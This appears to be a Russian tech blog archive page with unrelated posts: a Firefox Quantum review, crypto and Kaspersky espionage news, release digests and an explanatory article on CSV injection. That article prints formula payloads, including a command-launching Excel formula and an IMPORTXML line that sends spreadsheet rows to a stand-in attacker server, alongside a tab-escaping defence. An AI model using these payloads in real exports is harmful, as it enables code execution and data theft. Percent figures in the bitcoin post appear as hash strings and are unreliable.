Стоит ли перейти на Firefox Quantum?

Стоит ли перейти на Firefox Quantum?

Chrome уже давно лидер среди браузеров. И прошло уже очень много времени с тех пор, как я задумывался о смене браузера.

Но когда несколько месяцев назад вышел Firefox Quantum, я был очень удивлён шумихе вокруг этого. Тогда Mozilla сделали несколько соблазнительных обещаний про свой новый браузер, которые я не мог забыть.

Я люблю пробовать новые приложения. Возможно, это потому, что мне нравится, когда другие делают то же самое для моих проектов. Итак, я решил сделать простой эксперимент. Я буду использовать Firefox Quantum в течение нескольких недель и затем сделаю вывод о том, стоит ли мне сменить браузер.

Эксперимент

Я технарь, поэтому большая часть моей жизни проходит в браузере. И перед экспериментом я сделал несколько условий:

  1. Я сменю браузер только в том случае, если Firefox будет реально лучше, чем Chrome.
  2. Для более честного сравнения, я буду регулярно переключаться между обоими браузерами.
  3. Я буду делать заметки походу эксперимента о том, как он проходит.
  4. Я буду объективным в выборе, насколько это возможно.

Для информации, у меня MacBook Pro 2014 года, 15-дюйм., 2.5 GHz Intel Core i7, 16 GB RAM.

А теперь результаты:

Что лучше
Скорость

Стоит ли перейти на Firefox Quantum?
Это то, на что особенно упирала Mozilla в своей рекламе и на что я обратил большее внимание. Ни на одном сайте из моего ежедневного списка к посещению Firefox не показал себя медленнее. Он был заметно быстрее, чем Chrome.

Улучшение скорости это, конечно, не самое главное, но это то, что сразу бросается в глаза.

Лучший контроль за приватностью

Моя шапочка из фольги довольно огромная и мне очень некомфортно сознавать то, как много знает Google обо мне.

Firefox намного лучше позволяет мне контролировать чем и с кем я хочу поделиться. Я считаю, что это очень хорошо не только для меня, но и в целом для всех пользователей.

Средства разработчика

Для моих базовых задач средств разработчика в Firefox хватает с головой и они даже немного удобнее, чем аналогичные в Chrome. Мне нравится Редактор стилей и многочисленные инструменты в Инспекторе. И React Developer Tools здесь тоже есть.

Потребление ресурсов

Что я могу сказать… разница в использовании ресурсов между Firefox и Chrome значительна.

Очень часто Chrome подтормаживает на моей машине, даже с одной открытой вкладкой. К примеру, иногда происходит некоторая задержка при переходе к открытому окну Chrome; с Firefox все всегда гладко. Когда я использую Chrome, я заметил, что мои вентиляторы чаще включаются, и моя батарея, кажется, кончается быстрее.

У меня вполне производительный компьютер с немалым количеством ОЗУ, но как раз поэтому мне больше нравится использовать Firefox. Явно для его работы требуется меньше ресурсов. Мне нравится осознавать это каждый раз, когда я открываю браузер.

Встроенный скриншоттер

Я делаю скриншоты очень часто и встроенная функция скриншотов замечательна. Я не мог найти ни одного расширения Chrome, которое было бы настолько же простым и продуманным.

Пользовательский интерфейс

По сравнению с Firefox, интерфейс Chrome иногда подтормаживает. Я не думаю, что Firefox использует меньше вычислительной мощности или потому, что он лучше запрограммирован (или и то, и другое), но думаю, что это не имеет значения.

Firefox Quantum всегда лёгкий и быстрый.

Поддержка Mozilla

Мне нужен функциональный браузер так же, как и возможность поддерживать хорошую организацию. К счастью, с Firefox я не должен отказываться от одного ради другого.

Mozilla — отличная организация, которая делает много хорошего, чтобы сделать Интернет ещё лучше. Любой, кто читает эту статью, должен быть доволен этим.

Что ни луччше, ни хуже
Расширения

Я знаю, что для некоторых это самое важное, но я не большой фанат расширений. Те немногие, что я использую в Chrome, доступны в Firefox Quantum.

Визуальный дизайн

Замечание: здесь только про визуальный дизайн приложения, а не про поведение в целом. Визуальный дизайн важен, но это не единственный фактор в UX.

Это вопрос личных предпочтений. Я бы сказал, что Chrome визуально лучше, чем Firefox. Но я сделал несколько доработок с помощью файла userChrome.css (ниже), и теперь он идеальный.


@namespace url("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul");

/* Font size in tabs */
.tab-text {
font-size: 12px !important;
}

/* Padding and font size of bookmark toolbar */
#PersonalToolbar {
padding-top: 3px !important;
padding-bottom: 5px !important;
font-size: 12px !important;
}

/* Space between bookmarks in bookmark toolbar */
#PersonalToolbar .bookmark-item {
margin-right: 2px !important;
}

/* Space to the left of the window controls */
#titlebar {
margin-left: 5px;
}

/* Space between window controls and tabs */
.titlebar-placeholder {
margin-left: -15px;
padding: 0;
}

Что хуже
Мобильная версия

Мобильное приложение Firefox в принципе не плохое. Мне действительно нравятся некоторые вещи, такие как навигация снизу. Но для меня мобильное приложение Chrome немного удобнее.

На iOS я обнаружил, что у других приложений есть возможность открывать ссылки в Chrome. И только некоторые могут отправлять в Firefox.

Google Hangouts

В настоящее время Hangouts не работает в Firefox.

Поправка: несколько человек сказали мне, что совсем недавно это было исправлено в версии v58 (бета). Я проверил, и это правда.

Автозаполнение адресов и кредитных карт

Это пока недоступно в основной версии. Полностью механизм заработает с версии 58, поэтому я решил проблему, перейдя на Firefox Beta. Вы, возможно, не захотите этого делать.

Но на самом деле я, вероятно, буду сидеть на бета-версии даже после выхода v58.

Вердикт

Я был удивлен результатами моего эксперимента.

Честно говоря, у меня не было больших надежд на новый Firefox. Я был рад попробовать что-то новое, но никак не ожидал, что он будет настолько хорош. Я ошибался.

Firefox теперь является моим главным браузером. И я очень доволен этим.

Попробуйте, возможно, переход на Firefox очень вам понравится!

Стоит ли перейти на Firefox Quantum?

По материалам «Is Firefox Quantum Worth It?»

Этот пост посвящается моему другу и большому лисофилу. Андрей, привет 😉

Падение биткойна на 25%, к чему бы это?

Продажи главной криптовалюты во вторник получили новый импульс , когда биткойн упал на целых 25 процентов, тем самым увеличив перспективу нормативных репрессий.

Вчера в 16:37 по времени Нью-Йорка крупнейшая цифровая валюта снизилась на 25{33d8302486bd10b0fde64d2037652320e6f176a736d71849c0427b0d7398501a} и достигла отметки в 10 338 долларов США, опустившись на самый низкий уровень с начала декабря 2017 года. Когда Биткойн остановил своё двухдневное ралли, пытающиеся с ним соперничать криптовалюты также упали. Ripple опустилась на 40{33d8302486bd10b0fde64d2037652320e6f176a736d71849c0427b0d7398501a}, а Ethereum упал на 26{33d8302486bd10b0fde64d2037652320e6f176a736d71849c0427b0d7398501a}.
Падение биткойна на 25%, к чему бы это?

Спекулянты по всему миру пытаются предугадать, когда и как наблюдатели рынка могут обуздать отрасль, которая децентрализована и получает большую часть своей стоимости от анонимного владения. Публичные заявления в массмедия о том, что криптовалюты представляют собой всего лишь мыльный пузырь, который вот-вот лопнет вызывают распродажи в среде наимение сдержанных владельцев.

«В Южной Корее закрытие криптовалютных обменов по-прежнему остается одним из вариантов сдерживания»,- заявил министр финансов Ким Донг-Йон в интервью радио TBS. «Но сначала необходимо провести «серьезную» дискуссию среди министерств», -добавил Ким, дав надежду трейдерам, что репрессии не пойдут так далеко. Он сказал, что на лицо повсеместные иррациональные спекуляции, и что регулирование со стороны государства крайне необходимо.

«Министр финансов Южной Кореи недвусмысленно дал понять, что их правительство всерьёз рассматривает возможность запрета криптоторговли — а Южная Корея, между прочим, третий по величине рынок», — сказал Нейл Уилсон, старший аналитик онлайн-трейдинговой платформы ETX Capital в Лондоне,- «Эта новость сильно бьёт по ценам и вызывает панические настроения, особенно после того, как Китай предпринимает шаги к тому, чтобы ликвидировать на своей территории майнинг криптовалют».
Падение биткойна на 25%, к чему бы это?

По словам людей, знакомых с этим вопросом, Китай, усиливает свои меры пресечения криптовалютной торговли, в особенности это касается онлайн-платформ и мобильным приложений, предлагающим услуги обмена.

«Мы слышали сообщения о том, что Южная Корея, Китай и Япония рассматривают общий подход, путь к регулированию цифровых валют. — сказал Уилсон из ETX Capital. «Похоже, что легкое прикосновение, которое позволило крипто-буму взорваться, может подойти к концу», — написал он в пояснительной записке для инвесторов.

Согласно данных cryptocompare.com, Южнокорейская биткойн-торговля составляла около 3,3{33d8302486bd10b0fde64d2037652320e6f176a736d71849c0427b0d7398501a} от общего числа транзакций, по сравнению с более чем 10 процентами, достигнутыми за последние две недели.

Стивен Майюор, председатель Европейского управления по ценным бумагам и рынкам, заявил в своём интервью Bloomberg TV в Гонконге, что инвесторы «должны быть готовы потерять все свои деньги вложенные в Биткойн, так как он имеет чрезвычайно изменчивое поведение, что подрывает возможность его использования в качестве стабильной валюты»

Источник www.bloomberg.com: Bitcoin Fall Extends to 25{33d8302486bd10b0fde64d2037652320e6f176a736d71849c0427b0d7398501a} as Fears of Crypto Crackdown Linger

Ученые создали пластиковые объекты, которые могут подключаться к Wi-Fi без какой-либо электроники

Ученые создали пластиковые объекты, которые могут подключаться к Wi-Fi без какой-либо электроники

Ученые разработали новые пластиковые объекты 3D-печати, которые могут подключаться к сетям Wi-Fi без помощи какой-либо электроники или батареек, а это значит, что бытовая техника в будущем станет намного умнее, не требуя сборки каких-либо электронных схем.

Если это еще не взорвало вам мозг, представьте себе технику, с помощь которой бутылка моющего средства опустев может дозаказать пополнение онлайн, или простой регулятор громкости, который подключается к динамикам без каких-либо кабелей или даже источников питания.

Да, как такое возможно? Для этого команда из Вашингтонского университета построила систему, состоящую из пластикового переключателя, пружины, шестерни и антенны, которые при активации с помощью надавливания или другого движения могут поглощать или отражать передающие сигналы Wi-Fi для связи.

«Наша цель — создать что-то, что просто выходит из-под вашего домашнего 3D-принтера, и может отправлять полезную информацию на другие устройства», — говорит один из исследователей, инженер-электрик Викрам Айер.

«Но самое интересное то, как вам удастся связываться с Wi-Fi беспроводным способом, используя только пластик. Это то, что никто раньше сделать не мог».

Ученые создали пластиковые объекты, которые могут подключаться к Wi-Fi без какой-либо электроники

Центральным ядром пластикового механизма является токопроводящий медный контакт вмонтированный в пластик, а также части механизма, полученные с помощью трехмерной печати. Все вместе это позволяет создать периодическое подключение-отключение к антенне Wi-Fi, модифицируя сигнал при его прохождении.

Таким образом, пластиковый анемометр, напечатанный на 3D-принтере, например, может измерять скорость ветра, поскольку, когда он вращается быстрее, и контакт соединяется чаще, передаваемые импульсы становятся более частыми. Аналогичным образом работал бы водомер.

Ученым удалось внедрить аналогичные механизмы в переключатели, номеронабиратели и ползунки — их движение генерирует импульсы и отправляет простой сигнал через Wi-Fi, который может быть связан со смартфоном или другим устройством.

Наличие зуба на шестерне, соединяющейся с контактом, интерпретируется в 1 и 0, необходимые для цифровой связи.

Подобная методика известна как обратное рассеяние или отражающие волны, которые в этом случае являются сигналами Wi-Fi.

Команда ученых также смогла выполнить контакт из железных опилок вместо меди, что позволило кодировать информацию в 3D-печатном объекте — подобно невидимому штрих-коду, который может быть идентификатором или содержать инструкции.

«Он выглядит как обычный 3D-объект, но внутри него есть невидимая информация, которую можно прочитать с помощью вашего смартфона», — говорит одна из команд Джастин Чан.

Это возможно в виду того, что практически каждый смартфон оснащен магнитометром, который работает взаимодействуя с магнитным полем Земли. Тот же датчик способен обнаруживать рисунок из нулей и единиц, созданный железными опилками в пластике.

На данный момент эти 3D-печатные гаджеты представляют собой лишь опытные образцы и еще не готовы к массам, но в будущем они могут быть адаптированы для самых разных целей — с таким количеством гаджетов в наших домах, которые сейчас конкурируют за сигнал Wi-Fi и электричество, это более простой подход к подключению большего количества устройств к сети и друг другу.

«Эта работа является частью нашего долгосрочного видения того, как сделать доступным для широкого круга создание объектов с поддержкой интернета вещей, которые могут беспрепятственно передавать информацию, везде и в любое время», — пишут ученые в своем отчете.

Исследование пока не рецензируется, но вы можете прочитать об этом здесь. Команда представила свою работу на конференции и выставке SIGGRAPH в Азии и сделала видео, демонстрирующее свое творение, которые вы можете увидеть ниже:

По материалам ScienceAlert

Как Израиль поймал русских хакеров на выуживании американских секретов

Как Израиль поймал русских хакеров на выуживании американских секретов

Это история о том, как шпионы, следили за шпионами, следившими за шпионами: израильские разведчики наблюдали в реальном времени, как провластные российские хакеры отслеживали компьютеры по всему миру на предмет упоминания программ американской разведки.

Основой русского хакинга стал обнаруженный более двух лет назад импровизированный инструмент поиска с глобальным масштабом охвата — антивирусное программное обеспечение российской компании «Лаборатория Касперского», которым пользуется 400 миллионов человек по всему миру, в том числе должностные лица, состоящие на службе около двух десятков американских Правительственных агентств.

Израильские официальные лица, взломавшие сеть Касперского, предупредили Штаты о широком российском вторжении, о котором ранее не было известно, и в прошлом месяце это привело к принятию решения об удалении программного обеспечения Kaspersky с компьютеров, принадлежащих госорганам.

В результате действий русских, засвидетельствованных людьми, бывших в курсе происходящего, были украдены секретные документы у сотрудника Агентства национальной безопасности, который хранил их с нарушением требований безопасности на своем домашнем компьютере, на котором было установлено антивирусное программное обеспечение Касперского. Какие еще из секретов американских агентств стали достоянием российских хакеров, превративших программное обеспечение Касперского в своего рода поиск Google для получения конфиденциальной информации, остается неизвестным.

Как и большинство программ для обеспечения безопасности, продукты Лаборатории Касперского требуют доступа ко всему, что хранится на компьютере, чтобы перелопатить его в поисках вирусов и прочих угроз. Его популярное антивирусное программное обеспечение сканирует подписи вредоносного программного обеспечения или вредоносного ПО, а затем удаляет его перед тем , как отправить отчет в Kaspersky. Для подобных программ это рутинная процедура, и она стала идеальным инструментом для российской разведки в исследовании содержимого компьютеров.

Агентство национальной безопасности и Белый дом отказались комментировать эту статью. Посольство Израиля отказалось от комметариев, и российское посольство также не ответило на просьбы о представлении комментариев.

На прошлой неделе Wall Street Journal сообщил, что российские хакеры украли секретные материалы АНБ у подрядчика, использовавшего программное обеспечение Kaspersky на своем домашнем компьютере. Но роль израильской разведки в выявлении этой уязвимости и использование российскими хакерами программного обеспечения «Касперского» до сих пор не упоминались.

«Лаборатория Касперского» отказалась признать какое-либо соучастие во взломах. «Лаборатория Касперского никогда не помогала и не помогает ни одному из правительств в мире в кибершпионаже», — говорится в заявлении компании, распространенном во вторник. «Лаборатория Касперского» также заявила, что «готова принять любую релевантную и поддающуюся проверке информацию, которая позволила бы компании безотлагательно начать расследование инцидента».

«Лаборатория Касперского» не обнаруживала вторжения Израиля в свои системы вплоть до середины 2015 года, когда один из ее инженеров, тестирующий новый инструмент обнаружения, заметил необычную активность в сети компании. Компания расследовала этот случай и подробно изложила свои выводы в июне 2015 года в открытом отчете .

В докладе не упоминается Израиль как злоумышленник, но отмечено, что нарушение имеет сходство с предыдущей атакой, известной как «Duqu», которую исследователи связали с государствами, ответственными за печально известный Stuxnet. Stuxnet была совместной американо-израильской операцией, в ходе которой бало реализовано успешное проникновение в ядерную установку Ирана «Натанц» и использован вредоносный код для уничтожения пятой части иранских урановых центрифуг в 2010 году.

Касперский сообщил, что злоумышленники использовали тот же алгоритм и тот же код, что и Duqu, но отметил, что во многих отношениях он был еще более сложным. Поэтому исследователи компании назвали новую атаку Duqu 2.0, отметив, что другие жертвы атаки были основными израильскими целями.

Среди целей, обнаруженных Касперским, были гостиницы и конференц-залы, используемые в закрытых заседаниях членов Совета Безопасности Организации Объединенных Наций для обсуждения условий ядерной сделки Ирана — переговоров, из которых Израиль был исключен. Несколько целей были в Соединенных Штатах, которые предположили, что операция была единственной в Израиле, а не совместной американо-израильской операцией, такой как Stuxnet.

Исследователи Касперского отметили, что злоумышленникам удалось заглянуть глубоко в компьютеры компании и уклоняться от обнаружения в течение нескольких месяцев. Следователи позже выяснили, что израильские хакеры внедрили несколько бэкдоров в системы Касперского, используя сложные инструменты для кражи паролей, скриншотов и очистки писем и документов.

Сотрудники израильской разведки сообщили АНБ, что в ходе их взлома Kaspersky были обнаружены доказательства того, что российские правительственные хакеры использовали доступ Касперского для агрессивного сканирования американских программ, классифицированных правительством США, и вывода данных в российские разведывательные системы. По словам осведомленных, они предоставили своим коллегам из НБА убедительные доказательства кремлечской кампании скриншотов и другой документации.

Неясно, были ли в какой-то степени основатель «Лаборатории Касперского» и другие сотрудники компании Евгения В. Касперского в курсе взломов с использованием их продуктов. Технические эксперты говорят, что, по крайней мере теоретически, российские разведчики могли использовать глобальный масштаб использования программного обеспечения Касперского без привлечения само компании. Кроме того, разведчики могли проникнуть в компанию без ведома ее руководителей.

По материалам NYT

Недооцененные опасности CSV-инъекции

Недооцененные опасности CSV-инъекции

Думаю, ни для кого это не новость, но всё же… Предполагаю, немногие понимают, насколько разрушительной может быть эта уязвимость. К тому же она есть в каждом приложении, разрешающем непосредственный ввод данных пользователя, и позволяющем осуществлять пакетный экспорт в CSV.

Речь идёт практически обо всех бизнес-приложениях.

Представим себе, например, приложение для отслеживания времени. Пользователи вводят своё время, но при этом не могут просматривать данные других пользователей. Затем администратор сайта экспортирует все данные из приложения в файл формата CSV, открывая его затем в приложении для работы с электронными таблицами. Стандартная ситуация.

1 вектор атаки

Все знают формат csv. Его главная ценность в простоте. Типичный экспорт выглядит так:

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240

Достаточно просто и ничего опасного, верно? Даже стандарт говорит об этом:

Файлы CSV содержат пассивные текстовые данные, не представляющие никаких рисков.

Вот, даже по спецификации всё должно быть хорошо.

Любопытства ради попробуем немного отредактировать наш CSV:

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=2+5", 240

Недооцененные опасности CSV-инъекции
Недооцененные опасности CSV-инъекции
В Excel (сверху) и после импорта в Google Sheets (снизу)

Хм… странно. Несмотря на то, что данные в этой ячейке были в кавычках, она интерпретируется как формула только потому, что первым символом был символ «=». Фактически — по крайней мере в Excel — любой из этих символов «=», «-«, «+» или «@» создаёт такое поведение, вызывающее проблемы для администраторов, чьи данные не отображаются корректно (это как раз то, что привлекло мое внимание к этой проблеме). Да, это странно, но не опасно, не так ли?

Стоп… А формула — это код, который выполняется. И, следовательно, пользователь может выполнить код — даже если это только код в формулах — на машине администратора с его, администраторскими, привилегиями.

А что, если мы попробуем изменить наш файл csv вот так (внимание на колонку Description в последней строке) :

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=2+5+cmd|' /C calc'!A0", 240

Что произойдёт, если мы откроем его в Excel?

Недооцененные опасности CSV-инъекции Да, всё верно, откроется системный калькулятор.

Справедливости ради, упомянём, что при этом иногда выводится уведомление об опасности. Такой текстовый блок, который никто не читает. А если и прочитает, то увидит следующее:

Нажмите Да, если доверяете содержимому этой книги.

И знаете что? Это файл экспорта из программы этого же администратора. Естественно, он доверяет содержимому!

И даже если такой файл открывают технически подкованные пользователи, происходит всё то же самое. Они знают, что формат CSV — это просто текстовые данные и там не может быть ничего опасного. Гарантировано.

Точно так же злоумышленник может свободно загрузить кейлоггер, установить всё это и удаленно выполнять свой код не просто на другом компьютере, а на таком, с которого кто-то определённый имеет доступ ко всем пользовательским данным; например, менеджер или администратор компании.

2 вектор атаки

Ну хорошо, всё это конечно круто, но это известная уязвимость. Как безопасник, вы можете предупредить администраторов быть осторожными с Excel и, возможно, даже подумаете о переходе на Google Sheets вместо него. Ведь Sheets не могут взломать макросы, не так ли?

Но давайте пока оставим желание сменить вполне хороший софт и вместо этого сосредоточимся на возможности кражи наших данных. В конце концов, злоумышленник является обычным пользователем, который может получить доступ только к тому, что он сам вводит в систему. А администратор имеет повышенные права и может видеть данные всех пользователей — можем ли мы каким-то образом скомпрометировать это?

Вспомним, что при невозможности запускать макросы в Google Sheets, мы можем запустить в нём формулы. И формулы могут не ограничиваться простой арифметикой. Есть ли какие-то команды в формулах Google Sheets, которые могут отправить данные в другое место? Такие есть, и их не мало. Давайте взглянем на IMPORTXML.

IMPORTXML(url, xpath_query)
При его запуске будет вызван HTTP GET-запрос на URL-адрес, затем попытка проанализировать и вставить возвращенные данные в нашу электронную таблицу. Вы уже поняли, в чём проблема?

А что, если наш файл csv содержит:

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=IMPORTXML(CONCAT(""http://some-server-with-log.evil?v="", CONCATENATE(A2:E2)), ""//a"")",240

Злоумышленник вставляет в ячейку символ «=», затем передаёт в IMPORTXML свой сервер и данные из вашей таблицы. Затем он открывает свой журнал сервера и БАМ! Он может видеть чужие данные. Попробуйте сами с помощью Requestb.in.

Страшно, да? Никаких предупреждений, всплывающих окон, никаких оснований думать, что что-то не так. Злоумышленник просто вводит в приложение время/проблему/любую запись, затем администратор пытается просмотреть экспорт CSV и все данные с ограниченным доступом немедленно уходят на сторону.

Но и это ещё не всё.

Эта формула выполнится в браузере администратора и под его учетной записью. И это Google Sheets — Sheets не ограничиваются собственными данными, они могут извлекать данные из других электронных таблиц, к которым пользователь имеет доступ. Всё, что должен знать злоумышленник, это идентификатор другой таблицы. Эта информация обычно не секретна; идентификатор виден при работе с электронными таблицами в адресной строке браузера и частенько бывает отправлен по электронной почте или записан в документации компании, полагаясь на систему безопасности Google.

Вы храните списки клиентов или информацию о заработной плате в отдельной электронной таблице, к которой имеет доступ ваш администратор? Бам! И вы даже можете не узнать о том, как она уйдёт в чужие руки.

Конечно, этот же трюк отлично работает в Excel. На самом деле способность Excel работать в качестве ловушки уже использовалась полицией для отслеживания преступников.

Но такого не должно быть.

Защита

Всё-таки, кто же виноват в этом?

Во-первых, точно не формат CSV. Он не обязан знать, какие данные в нём передают и уж точно не может отказывать в хранении определённых данных. Так что ошибка в популярных программах электронных таблиц. Конечно, Google Sheets должны поддерживать совместимость функционала с Excel, а Excel должен поддерживать миллионы составных электронных таблиц, которые уже существуют. Кроме того, некоторое поведение Excel происходит из чего-то очень древнего, такого как Lotus 1-2-3. Переделать все программы электронных таблиц на данный момент — слишком большая проблема. Но я думаю, что остальные должны измениться.

Но перекладывать проблему на разработчиков приложений тоже не очень правильно. В конце концов, ваш разработчик не сможет создать экспорт в бизнес-приложении так, чтобы эта проблема совсем исчезла. Ну и стандарт RFC опять же.

Как же это предотвратить?

Я сообщил об этой уязвимости в Google. Они согласились, но сказали, что уже знают об этом. Я уверен, что они понимают, что это уязвимость. Но у меня сложилось чёткое впечатление, что они на самом деле не представляют масштабы проблемы. Google Sheets должны, по крайней мере, выдавать предупреждение, когда импортированный CSV выполняет внешний запрос!

Несмотря на многочисленные советы на StackOverflow и в других местах, я нашел только один (недокументированный) способ защититься:

Для любой ячейки, которая начинается с одной из формул, начинающихся с символов «=», «-«, «+» или «@», вы должны добавить перед ним символ табуляции. А если в данных есть кавычки, табуляция должна быть внутри кавычек.

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client," =2+5", 240

Это довольно странно, но работает, при этом символ табуляции не отображается в Excel или в Google Sheets.

Но, к сожалению, это еще не конец истории. Хотя символа табуляции не видно, но он все ещё там. И быстрая проверка длины строки с помощью «=LEN (D4)» подтвердит это. Таким образом, это решение приемлимо только в том случае, если значение этой ячейки нужно только для просмотра, и при этом не считывается из файла программой. Кроме того, вставка этого символа может привести к неприятным последствиям. Формат csv используется для обмена между приложениями. Это означает, что экранированная ячейка, экспортированная из одного приложения, будет импортирована в другую с экранированным символом в данных.

Ну и главный результат в том, что при экспорте в csv вы теперь знаете, что вас может ожидать, и поступить соответствующим образом.

  • Если он будет использоваться в приложении электронных таблиц для визуального расчета, то вам нужно экранировать опасные данные табуляцией. Это ещё важно и потому, что вы, вероятно, не хотите, чтобы строка «-2 + 3» отображалась как 1 при экспорте в электронную таблицу.
  • Если он будет использоваться в качестве формата обмена, ничего не экранируйте.
  • Если вы не знаете наверняка или используете csv в приложении для работы с электронными таблицами, или позже электронная таблица будет использована в качестве источника импорта для вашей программы, здесь уже ничего не поделаешь. (Как вариант, используйте Excel, но всегда отключайтесь от сети и следуйте всем предупреждениям безопасности при работе) (Поправка: вероятно, это не будет работать на 100{33d8302486bd10b0fde64d2037652320e6f176a736d71849c0427b0d7398501a}, так как некоторые всё еще используют макросы для перезаписи ваших файлов их бинарниками. Печаль).

Да, это кошмарный сценарий и он к тому же не имеет правильного решения. И это то, о чём должны все знать. Спасибо.

По материалам «The Absurdly Underestimated Dangers of CSV Injection»

Дайджест релизов. Неделя 40.

Подведем итоги 40ой недели. Эта неделя была богата на релизы как никогда.
Операционные системы семества BSD и не только, языки программирования, например, PyPy, Golang, стандартов и обычных утилит типа openssh, также http сервера. Подробнее под катом.

Операционные системы.

Scientific Linux — дистрибутив построенный на базе Red Hat.
Версия 7.4
Release note

NixOS — дистрибутив Linux, использующий пакетный менеджер Nix.
Версия 17.09
Release note

FreeBSD — свободная операционная система семейства UNIX.
Версия 10.4
Release note

Fedora — дистрибутив Linux основанный на Red Hat.
Версия 27 Beta
Release note

LEDE — форк дистрибутива OpenWrt.
Версия 17.01.3
Release note

LibertyBSD — вариант OpenBSD без блобов.
Версия 6.1
Release note

Chrome OS — операционная система.
Версия 61
Release note

OpenBSD — операционная система UNIX.
Версия 6.2
Release note

Debian — операционная система Linux.
Версия 9.2
Release note

Web браузеры.

Waterfox — свободный веб браузер.
Версия 55
Release note

QupZilla — web браузер.
Версия 2.2
Release note

Почтовые клиенты.

Geary — почтовый клиент.
Версия 0.12
Release note

Thunderbird — Почтовый клиент.
Версия 52.4
Release note

И все подряд.

Phoenix for VK — Клиент социальной сети ВКонтакте для Android.
Версия 4.0.1. Ребята вывели свой продукт open source. Поздравим комьюнити с пополнением!
Release note

HTML — стандарт языка разметки документов во Всемирной паутине.
Версия 5.1 2nd Edition
Release note

OpenSSH — open source набор программ предоставляющих шифрование связи по ssh протоколу.
Версия 7.6
Release note

Asterisk — коммуникационная платформа с поддержкой видеоконференций.
Версия 15
Release note

Go — open source язык программирования.
Версия 1.8.4 и 1.9.1.
Release note

Lustre — кластерная файловая система.
Версия 2.10.1
Release note

X.Org Server — свободная каноническая реализация сервера X Window System с открытым исходным кодом..
Версия 1.19.4
Release note

Cowboy — http сервер на Erlang.
Версия 2.0
Release note

Apache — http сервер.
Версия 2.4.28
Release note

PostgreSQL — свободная объектно-реляционная система управления базами данных.
Версия 10, которая будет поддеживаться 5 лет до октября 2022.
Release note и подробный вариант.

PyPy — реализация языка программирования Python на Python.
Версия 5.9
Release note

systemd — системный менеджер, демон инициализации других демонов в Linux.
Версия 235
Release note

PonyProg — программатор портированный на Qt.
Версия 3.0
Release note

GNOME Commander — файловый менеджер.
Версия 1.8
Release note

Всем спасибо!

Дайджест релизов. Неделя 39.

Подведем итоги 39ой недели.
За эту неделю вышли значимые релизы и анонсы нескольких различных операционных систем, Erlang, React, web-браузеров и не только.

PacketFence — система управления доступом к сети.
Версия 7.3.0. Приведена ссылка на исходный код. Так же на уровень выше есть сборки под RHEL и Debian.
Release note

Firefox — свободный браузер.
Версия 56 и его release note
Версия 57 стала доступна в бета-тестирорвании!
Release note и анонс

React — библиотека JavaScript для сборки UI.
Версия 16.0
Release note и обзор.

Polemarch — web-интерфейс для оркестровки серверной инфраструктуры.
Версия 0.0.8 Beta
Release note

Pale Moon — свободный браузер.
Версия 27.5.0
Release note

OpenVPN — свободная реализация технологии виртуальной частной сети (VPN) с открытым исходным кодом для создания зашифрованных каналов типа точка-точка или сервер-клиенты между компьютерами.
Версия 2.4.4
Release note

Brackets — открытый редактор для web-разработчиков.
Версия 1.11
Release note

KNOPPIX — Live-дистрибутив Linux.
Версия 8.1
Release note

Krita — свободный растровый графический редактор.
Версия 3.3
Release note

Erlang-OTP — функциональный язык программирования.
Версия 20.1
Release note

Ubuntu — дистрибутив Linux.
Версия 17.10 Artful Aardvark/Ловкий Трубкозуб доступна в бета тестировании. Для всех версия выйдет 19 октября.
Release note

Wine — свободное программное обеспечение, позволяющее пользователям UNIX-подобных систем архитектуры x86 исполнять 16-, 32- и 64- битные приложения Microsoft Windows.
Версия 2.18
Release note

Всем спасибо!

Почему RSS удобнее, чем Facebook и Twitter, для отслеживания новостей

Почему RSS удобнее, чем Facebook и Twitter, для отслеживания новостей

Наверняка вы думаете, что эпоха RSS ушла с закрытием Google Reader, но это не так! И технология Rich Site Summary (англ., Обогащённая сводка сайта) всё ещё жива и играет заметную роль в эпоху web 2017 года. Она быстра, очень эффективна, и при этом можно не беспокоиться о том, что о ваших привычках в чтении узнают друзья. Даже если вы не слышали об этом ранее или отказались по какой-то причине, мы перечислим несколько преимуществ использования RSS для чтения новостей перед социальными сетями.

Что такое RSS

Для тех, кто совсем не знаком с технологией, RSS это всего лишь стандартизованное представление текста и изображений в единой ленте, с которой могут работать специальные приложения и веб-сервисы. Похожим образом Twitter собирает свои новости в ленту, а разные клиенты Twitter знают как их получить и отобразить пользователю. Сайты следуют правилам отображения своих материалов в RSS, а RSS-клиенты по этим же правилам позволяют пользователю удобно работать с материалами.

RSS требует от издателей приложить немного труда для сведения материалов сайта в активные RSS-потоки. Но некоторые умные RSS-клиенты умеют сами собирать и выводить материалы с сайтов даже без создания специального канала. Такие клиенты, как Feedly или Reeder, выводят статьи в список в обобщённом виде в хронологическом порядке, при этом обычно материал выводится в виде краткого анонса, который затем открывается в полном виде на сайте-источнике.

Всё в одном месте

Одна из главных причин, по которой RSS так популярна, заключается в том, что в ней есть всё, что опубликовано на сайте — не только то, что лайкнули другие пользователи, не только свежие статьи, и не только статьи сайта, попавшие в Twitter. Там есть всё.

В эпоху информационной перегрузки это может показаться не очень умной идеей, однако RSS умеет отбрасывать всё лишнее. Вы полностью контролируете свою ленту, поэтому вы не увидите в ней того, что не интересно.

Почему RSS удобнее, чем Facebook и Twitter, для отслеживания новостей
Twitter… ретвиты и реклама.

Ну и, возможно, самое главное — вам не нужно постоянно быть онлайн и обновлять свои ленты, чтобы ничего не пропустить. Это даже немного похоже на то, как мы записываем для себя время любимых сериалов и передач, которые не хотим пропустить, при этом нам нет необходимости щёлкать по каналам, в надежде увидеть что-то интересное.

